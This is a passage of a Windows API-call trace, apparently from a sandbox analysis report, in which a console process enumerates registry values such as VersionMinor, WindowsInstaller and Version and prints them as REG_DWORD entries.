RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.534] __iob_func () returned 0x7fefd702a80 [0148.534] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.534] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.534] _fileno (_File=0x7fefd702ab0) returned 1 [0148.534] _errno () returned 0xc4bb0 [0148.534] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.534] _errno () returned 0xc4bb0 [0148.534] GetFileType (hFile=0x50) returned 0x1 [0148.534] lstrlenW (lpString=" ") returned 4 [0148.535] GetConsoleOutputCP () returned 0x1b5 [0148.535] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.535] GetConsoleOutputCP () returned 0x1b5 [0148.535] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.535] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.535] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.535] lstrlenW (lpString="VersionMinor") returned 12 [0148.535] __iob_func () returned 0x7fefd702a80 [0148.535] _fileno (_File=0x7fefd702ab0) returned 1 [0148.535] _errno () returned 0xc4bb0 [0148.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.535] _errno () returned 0xc4bb0 [0148.535] GetFileType (hFile=0x50) returned 0x1 [0148.535] lstrlenW (lpString="VersionMinor") returned 12 [0148.535] GetConsoleOutputCP () returned 0x1b5 [0148.535] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.535] GetConsoleOutputCP () returned 0x1b5 [0148.535] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0148.535] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.535] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.536] __iob_func () returned 0x7fefd702a80 [0148.536] _fileno (_File=0x7fefd702ab0) returned 1 [0148.536] _errno () returned 0xc4bb0 [0148.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.536] _errno () returned 0xc4bb0 [0148.536] GetFileType (hFile=0x50) returned 0x1 [0148.536] lstrlenW (lpString=" ") returned 4 [0148.536] GetConsoleOutputCP () returned 0x1b5 [0148.536] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.536] GetConsoleOutputCP () returned 0x1b5 [0148.536] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.536] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.536] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.536] __iob_func () returned 0x7fefd702a80 [0148.536] _fileno (_File=0x7fefd702ab0) returned 1 [0148.536] _errno () returned 0xc4bb0 [0148.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.536] _errno () returned 0xc4bb0 [0148.536] GetFileType (hFile=0x50) returned 0x1 [0148.536] lstrlenW (lpString="REG_DWORD") returned 9 [0148.536] GetConsoleOutputCP () returned 0x1b5 [0148.536] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.536] GetConsoleOutputCP () returned 0x1b5 [0148.537] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.537] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.537] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.537] __iob_func () returned 0x7fefd702a80 [0148.537] _fileno (_File=0x7fefd702ab0) returned 1 [0148.537] _errno () returned 0xc4bb0 [0148.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.537] _errno () returned 0xc4bb0 [0148.537] GetFileType (hFile=0x50) returned 0x1 [0148.537] lstrlenW (lpString=" ") returned 4 [0148.537] GetConsoleOutputCP () returned 0x1b5 [0148.537] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.537] GetConsoleOutputCP () returned 0x1b5 [0148.537] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.537] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.537] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.537] __iob_func () returned 0x7fefd702a80 [0148.537] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.537] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0148.537] _fileno (_File=0x7fefd702ab0) returned 1 [0148.537] _errno () returned 0xc4bb0 [0148.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.537] _errno () returned 0xc4bb0 [0148.537] GetFileType (hFile=0x50) returned 0x1 [0148.538] lstrlenW (lpString="0x0") returned 3 [0148.538] GetConsoleOutputCP () returned 0x1b5 [0148.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.538] GetConsoleOutputCP () returned 0x1b5 [0148.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0148.538] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.538] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.538] __iob_func () returned 0x7fefd702a80 [0148.538] _fileno (_File=0x7fefd702ab0) returned 1 [0148.538] _errno () returned 0xc4bb0 [0148.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.538] _errno () returned 0xc4bb0 [0148.538] GetFileType (hFile=0x50) returned 0x1 [0148.538] lstrlenW (lpString="\n") returned 1 [0148.538] GetConsoleOutputCP () returned 0x1b5 [0148.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.538] GetConsoleOutputCP () returned 0x1b5 [0148.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.538] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.538] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.539] GetProcessHeap () returned 0x2e0000 [0148.539] GetProcessHeap () returned 0x2e0000 [0148.539] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.539] GetProcessHeap () returned 0x2e0000 [0148.539] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.539] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.539] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.539] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.539] GetProcessHeap () returned 0x2e0000 [0148.539] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.539] GetProcessHeap () returned 0x2e0000 [0148.539] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.539] GetProcessHeap () returned 0x2e0000 [0148.539] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.539] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0148.539] __iob_func () returned 0x7fefd702a80 [0148.539] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.539] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.539] _fileno (_File=0x7fefd702ab0) returned 1 [0148.539] _errno () returned 0xc4bb0 [0148.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.539] _errno () returned 0xc4bb0 [0148.539] GetFileType (hFile=0x50) returned 0x1 [0148.539] lstrlenW (lpString=" ") returned 4 [0148.539] GetConsoleOutputCP () returned 0x1b5 [0148.539] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.539] GetConsoleOutputCP () returned 0x1b5 [0148.539] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.539] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.540] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.540] lstrlenW (lpString="WindowsInstaller") returned 16 [0148.540] __iob_func () returned 0x7fefd702a80 [0148.540] _fileno (_File=0x7fefd702ab0) returned 1 [0148.540] _errno () returned 0xc4bb0 [0148.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.540] _errno () returned 0xc4bb0 [0148.540] GetFileType (hFile=0x50) returned 0x1 [0148.540] lstrlenW (lpString="WindowsInstaller") returned 16 [0148.540] GetConsoleOutputCP () returned 0x1b5 [0148.540] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0148.540] GetConsoleOutputCP () returned 0x1b5 [0148.540] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0148.540] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0148.540] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.540] __iob_func () returned 0x7fefd702a80 [0148.540] _fileno (_File=0x7fefd702ab0) returned 1 [0148.540] _errno () returned 0xc4bb0 [0148.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.540] _errno () returned 0xc4bb0 [0148.540] GetFileType (hFile=0x50) returned 0x1 [0148.540] lstrlenW (lpString=" ") returned 4 [0148.540] GetConsoleOutputCP () returned 0x1b5 [0148.540] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.541] GetConsoleOutputCP () returned 0x1b5 [0148.541] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.541] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.541] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.541] __iob_func () returned 0x7fefd702a80 [0148.541] _fileno (_File=0x7fefd702ab0) returned 1 [0148.541] _errno () returned 0xc4bb0 [0148.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.541] _errno () returned 0xc4bb0 [0148.541] GetFileType (hFile=0x50) returned 0x1 [0148.541] lstrlenW (lpString="REG_DWORD") returned 9 [0148.541] GetConsoleOutputCP () returned 0x1b5 [0148.541] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.541] GetConsoleOutputCP () returned 0x1b5 [0148.541] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.541] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.541] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.541] __iob_func () returned 0x7fefd702a80 [0148.541] _fileno (_File=0x7fefd702ab0) returned 1 [0148.541] _errno () returned 0xc4bb0 [0148.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.541] _errno () returned 0xc4bb0 [0148.541] GetFileType (hFile=0x50) returned 0x1 [0148.541] lstrlenW (lpString=" ") returned 4 [0148.542] GetConsoleOutputCP () returned 0x1b5 [0148.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.542] GetConsoleOutputCP () returned 0x1b5 [0148.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.542] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.542] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.542] __iob_func () returned 0x7fefd702a80 [0148.542] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.542] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0148.542] _fileno (_File=0x7fefd702ab0) returned 1 [0148.542] _errno () returned 0xc4bb0 [0148.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.542] _errno () returned 0xc4bb0 [0148.542] GetFileType (hFile=0x50) returned 0x1 [0148.542] lstrlenW (lpString="0x1") returned 3 [0148.542] GetConsoleOutputCP () returned 0x1b5 [0148.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.542] GetConsoleOutputCP () returned 0x1b5 [0148.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.542] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.543] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.543] __iob_func () returned 0x7fefd702a80 [0148.543] _fileno (_File=0x7fefd702ab0) returned 1 [0148.543] _errno () returned 0xc4bb0 [0148.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.543] _errno () returned 0xc4bb0 [0148.543] GetFileType (hFile=0x50) returned 0x1 [0148.543] lstrlenW (lpString="\n") returned 1 [0148.543] GetConsoleOutputCP () returned 0x1b5 [0148.543] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.543] GetConsoleOutputCP () returned 0x1b5 [0148.543] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.543] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.543] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.543] GetProcessHeap () returned 0x2e0000 [0148.543] GetProcessHeap () returned 0x2e0000 [0148.543] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.543] GetProcessHeap () returned 0x2e0000 [0148.543] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.543] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.543] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.543] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.543] GetProcessHeap () returned 0x2e0000 [0148.543] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.543] GetProcessHeap () returned 0x2e0000 [0148.544] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.544] GetProcessHeap () returned 0x2e0000 [0148.544] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.544] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0xb00ee66, pcbData=0x23f670*=0x4) returned 0x0 [0148.544] __iob_func () returned 0x7fefd702a80 [0148.544] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.544] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.544] _fileno (_File=0x7fefd702ab0) returned 1 [0148.544] _errno () returned 0xc4bb0 [0148.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.544] _errno () returned 0xc4bb0 [0148.544] GetFileType (hFile=0x50) returned 0x1 [0148.544] lstrlenW (lpString=" ") returned 4 [0148.544] GetConsoleOutputCP () returned 0x1b5 [0148.544] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.544] GetConsoleOutputCP () returned 0x1b5 [0148.544] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.544] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.544] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.544] lstrlenW (lpString="Version") returned 7 [0148.544] __iob_func () returned 0x7fefd702a80 [0148.544] _fileno (_File=0x7fefd702ab0) returned 1 [0148.544] _errno () returned 0xc4bb0 [0148.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.544] _errno () returned 0xc4bb0 [0148.544] GetFileType (hFile=0x50) returned 0x1 [0148.544] lstrlenW (lpString="Version") returned 7 [0148.544] GetConsoleOutputCP () returned 0x1b5 [0148.545] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0148.545] GetConsoleOutputCP () returned 0x1b5 [0148.545] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0148.545] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0148.545] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.545] __iob_func () returned 0x7fefd702a80 [0148.545] _fileno (_File=0x7fefd702ab0) returned 1 [0148.545] _errno () returned 0xc4bb0 [0148.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.545] _errno () returned 0xc4bb0 [0148.545] GetFileType (hFile=0x50) returned 0x1 [0148.545] lstrlenW (lpString=" ") returned 4 [0148.545] GetConsoleOutputCP () returned 0x1b5 [0148.545] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.545] GetConsoleOutputCP () returned 0x1b5 [0148.545] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.545] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.545] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.545] __iob_func () returned 0x7fefd702a80 [0148.545] _fileno (_File=0x7fefd702ab0) returned 1 [0148.546] _errno () returned 0xc4bb0 [0148.546] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.546] _errno () returned 0xc4bb0 [0148.546] GetFileType (hFile=0x50) returned 0x1 [0148.546] lstrlenW (lpString="REG_DWORD") returned 9 [0148.546] GetConsoleOutputCP () returned 0x1b5 [0148.546] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.546] GetConsoleOutputCP () returned 0x1b5 [0148.546] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.546] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.546] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.546] __iob_func () returned 0x7fefd702a80 [0148.546] _fileno (_File=0x7fefd702ab0) returned 1 [0148.546] _errno () returned 0xc4bb0 [0148.546] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.546] _errno () returned 0xc4bb0 [0148.546] GetFileType (hFile=0x50) returned 0x1 [0148.546] lstrlenW (lpString=" ") returned 4 [0148.546] GetConsoleOutputCP () returned 0x1b5 [0148.546] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.546] GetConsoleOutputCP () returned 0x1b5 [0148.547] WideCharToMultiByte (in: CodePage=0x1b5, 